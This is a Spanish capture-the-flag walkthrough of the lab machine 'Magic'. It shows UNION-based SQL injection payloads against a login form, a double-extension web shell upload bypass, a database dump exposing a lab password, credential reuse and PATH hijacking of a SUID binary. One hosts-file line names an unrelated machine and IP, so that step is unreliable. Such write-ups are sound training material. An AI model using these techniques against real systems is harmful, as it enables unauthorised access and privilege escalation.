Publicado: 05 de Junio de 2025
Autor: José Miguel Romero aKa x3m1SecDificultad: ⭐ Medium
📝 Descripción
Magic es una máquina Linux de dificultad media que presenta un portal web para un portfolio fotográfico con un panel de administración vulnerable. La explotación inicial se logra mediante una inyección SQL en el formulario de login, seguida de una subida de archivo maliciosa que permite la ejecución remota de comandos. Para el movimiento lateral, se aprovechan credenciales encontradas en archivos de configuración de la base de datos. La escalada de privilegios se consigue mediante un ataque de PATH hijacking en un binario SUID personalizado que ejecuta comandos del sistema sin especificar rutas absolutas.
Técnicas utilizadas:
SQL Injection (UNION-based)
File Upload Bypass
Web Shell Upload
Database Enumeration
Credential Reuse
PATH Hijacking
SUID Binary Exploitation
🔭 Reconocimiento
Ping para verificación en base a TTL
❯ ping -c2 10.10.10.185
PING 10.10.10.185 (10.10.10.185) 56(84) bytes of data.
64 bytes from 10.10.10.185: icmp_seq=1 ttl=63 time=43.0 ms
64 bytes from 10.10.10.185: icmp_seq=2 ttl=63 time=43.2 ms
--- 10.10.10.185 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1007ms
rtt min/avg/max/mdev = 42.970/43.109/43.249/0.139 ms
💡 Nota: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.
❯ nmap -sC -sV -p$ports 10.10.10.185 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-05 18:16 CEST
Nmap scan report for 10.10.10.185
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Magic Portfolio
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.59 seconds
⚠️ Importante: Detectamos durante la fase de enumeración con nmap que se está realizando virtual hosting. Debemos añadir el siguiente vhost a nuestro fichero /etc/hosts
echo "10.10.11.193 mentorquotes.htb" | sudo tee -a /etc/hosts
🌐 Enumeración Web
80 HTTP
Enumeramos el servicio web para descubrir un sitio web para un portfolio que aloja imágenes como contenido desarrollado con Magic (https://github.com/once-ui-system/magic-portfolio). Hay un formulario de Login, aunque a priori no vemos ninguno de registro:
Fuzzing de directorios
Tras probar a realizar fuzzing de directorios con dirsearch, gobuster y feroxbuster, no logramos enumerar nada que podamo usar como un potencial vector de ataque:
Nos queda por analizar el panel de login y ver si es vulnerable a una posible inyección SQL.
Probando con credenciales por defecto de tipo admin:admin admin:Admin123 o admin:Password1 obtenemos una alerta de javascript indicando que las credenciales no son válidas:
Sin embargo, si probamos a introducir un carácter ' para verificar una posible inyección sql, no obtenemos ningún error, lo cual nos hace pensar que algo está ocurriendo el backend a la hora de procesar la solicitud.
Probamos con una SQLi de tipo unión usando el siguiente payload:
cn' UNION select 1,2,3,4-- -
Y tampoco obtenemos error, por lo que parece funcionar. Lo único que debemos es ajustar el número de columnas en el payload hasta encontrar el número correcto. que tenga la tabla. Probamos con 3 valores y bingo! estamos dentro!
cn' UNION select 1,2,3-- -
Hemos logrado acceder y tenemos acceso al módulo de carga de archivos. Analicemos qué tipo de extensiones están permitidas de cara a una posible subida de una webshell para explotar una RCE
Una alerta javascript ya nos deja claro que solo se admiten archivos con las extensiones de imagen que se indican.
📤 File Upload Bypass y RCE
Procedemos a crear una imagen dummy pero cuyo contenido sea válido
convert -size 100x100 xc:white test.jpg
A continuación embebemos una php shell en la imagen que hemos creado anteriormente
Interceptamos la petición con burp y cambiamos el nombre del archivo shell.jpg por shell.php.jpg
Obtenemos un mensaje de que la imagen se ha subido correctamente.
Ahora nos queda saber donde se ha almacenado la imagen. Revisando el código fuente del home de la aplicación vemos la ruta donde están almacenadas las imágenes que ya existen actualmente:
Usamos esa ruta para referenciar nuestra imagen de la siguiente forma y probar la ejecución remota de comandos:
Continuamos enumerando la máquina en busca de un potencial vector que nos permita realizar un movimiento lateral para ganar acceso como usuario theseus. Encontramos credenciales en el archivo db.php5 del directorio /var/www/Magic
En primer lugar comprobamos si theseus está reutilizando esta contraseña con su usuario del sistema pero verificamos que no.
www-data@magic:/var/www/Magic$ su theseus
Password:
su: Authentication failure
www-data@magic:/var/www/Magic$
🗃️ Enumeración de Base de Datos
Vemos si hay una base de datos ejecutándose de forma local y podemos ganar acceso a ella:
Tratamos de conectarnos a la base de datos y encontramos un problema, el cliente mysql no está instalado en la ḿaquina:
www-data@magic:/var/www/Magic$ mysql -u theseus -h localhost -p
Command 'mysql' not found, but can be installed with:
apt install mysql-client-core-5.7
apt install mariadb-client-core-10.1
Valoré la opción de usar chisel para realizar port forwading, pero se me ocurrió realizar una búsqueda en el sistema para ver qué opciones aparecían buscando mysql:
-- MySQL dump 10.13 Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost Database: Magic
-- ------------------------------------------------------
-- Server version 5.7.29-0ubuntu0.18.04.1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Table structure for table `login`
--
DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
`id` int(6) NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL,
`password` varchar(100) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `login`
--
LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2025-06-05 10:25:45
Obtenemos una nueva credencial Th3s3usW4sK1ng. Veamos si esta sí está siendo reutilizada por el usuario theseus, tal como parece indicar por el nombre.
www-data@magic:/var/www/Magic$ su theseus
Password:
theseus@magic:/var/www/Magic$ whoami
theseus
theseus@magic:/var/www/Magic$ id
uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users)
theseus@magic:/var/www/Magic$
Ahora sí, logramos movernos lateralmente y ganar acceso como theseus y capturar la primera flag:
🚀 Escalada a root
Comprobamos que theseus no puede ejecutar nada como root
theseus@magic:~$ sudo -l
[sudo] password for theseus:
Sorry, user theseus may not run sudo on magic.
theseus@magic:~$
🔍 Enumeración de binarios SUID
Enumeramos binarios con permisos SUID:
find / -perm -4000 -user root 2>/dev/null
Entre los resultados, hay uno que no es habitual
🛠️ Análisis del binario sysinfo
Ejecutar Sysinfo con Ltrace imprime las llamadas realizadas fuera del binario. La salida es enorme pero hay una línea que destaca:
Popen es otra forma de abrir un proceso en Linux. El binario está haciendo una llamada a fdisk, lo cual está bien, excepto que lo está haciendo sin especificar la ruta completa. Esto deja al binario vulnerable a un ataque de PATH hijacking.
🎯 PATH Hijacking
Creamos nuestro payload en /dev/shm (todo lo que hay en él se borra al reiniciar la máquina) con una bash shell one liner
NOTA: importante darle permisos de ejecución al binario que usamos como payload.
Ahora modificamos el path para que cuando el script busque la herramienta fdisk con la ruta de forma relativa encuentre en primer lugar lo que hay en /dev/shm y se ejecute primero: